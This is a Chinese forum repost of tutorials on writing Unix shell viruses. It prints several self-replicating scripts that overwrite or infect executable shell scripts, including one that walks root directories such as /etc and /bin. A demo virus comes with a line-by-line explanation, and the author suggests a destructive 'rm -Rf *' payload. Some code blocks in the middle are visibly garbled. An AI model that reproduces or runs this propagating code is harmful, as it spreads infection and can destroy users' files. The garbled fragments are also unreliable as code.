免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 834 | 回复: 0
打印 上一主题 下一主题

shell virus (zz) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-10-21 14:29 |只看该作者 |倒序浏览

                说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想
到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么
一个小脚本,功能就是感染其他shell程序。
这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。
主要的shell病毒
技术

-------------------
  当然,本文需要你至少了解linux shell
编程
的基础知识和一星点的病毒知识.
  ok!我们进入正题!
  我们来看一个最原始的shell病毒,代码最能说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
 cp $0 $file
done
---------------------------------------------------------
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
---------------------------------------------------------
#shellvirus II
for file in *
do
  if test -f $file
  then
  if test -x $file
  then
   if test -w $file
   then
   if grep -s echo $file >.mmm
   then
   cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本程序.
  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,看看下面代码:
---------------------------------------------------------
#infection
head -n 24 $0 > .test    .mmm  .mm    .mmm   .SAVEE     $file
        cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
--------------------------------------------------------
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
--------------------------------------------------------
#infection
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file > /dev/nul ; then
  head -n 1 $file >.mm
   if grep -s infection .mm > /dev/nul ; then
   rm .mm -f ; else
    cat $file > .SAVEE
    head -n 13 $0 > $file
    cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f
--------------------------------------------------------
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了
--------------------------------------------------------
#infection
xtemp=$pwd         /.test
for dir in /* ; do       /dev/nul ; then       .mm
   if grep -s infection .mm > /dev/nul ; then     /.SAVEE         $file
    cat /.SAVEE >> $file
  fi; fi; fi
 done
 cd ..
fi
done
cd $xtemp     /dev/nul ; then
  mv $file .$file
  head -n 9 $0 > $file
fi; fi
done
.$0
         
         
            
SHELL病毒简介
1.前言
说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开
始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了
如下这么一个小脚本,功能就是感染其他shell程序。
这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。
2.程序代码
#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写:watercloud@xfocus.org
#日期:2003-5-13
#B:
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
#EOF
看shell是多么得强大,这么短短得程序就能感染其他程序文件。
3.演示
测试一下:
先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
来看看我们这个“肉鸡”脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
ls -l
#EOF
好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !
来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
#B:
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
ls -l
#EOF
看,病毒体:
#B: . . . .
#E:
被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。
来执行看看我们新的病毒体看看:
[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script !
4. 简单讲解
我们来一步步分析一下这个病毒:#B:病
毒体开始标记,用于程序复制自己定位用。vFile=$_ ;
vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放
后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。
for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
目标是否有写权限,病毒源文件是否有读权限。
if grep '' $f ; then continue; fi
目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?
if sed -n '1p' $f | grep 'csh'; then continue; fi
如果目标shell是以csh的那语法上差异太大了,放弃吧。
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。
sed -n "1,${vNo}p" $vTmp >$f
一个sed命令把目标文件的开始注释部分从备份文件中copy回来。
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
再来一个sed完成搬运病毒体的工作。
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!
rm -f $vTmp
清理一下临时文件。
done >/dev/null 2>&1
循环结束。
unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。
echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。
#E:
病毒体结束标记,用于程序复制自己定位用。
5.后记
从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。
上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。
顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!
               
               
               
               
               

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u1/38576/showart_1330902.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP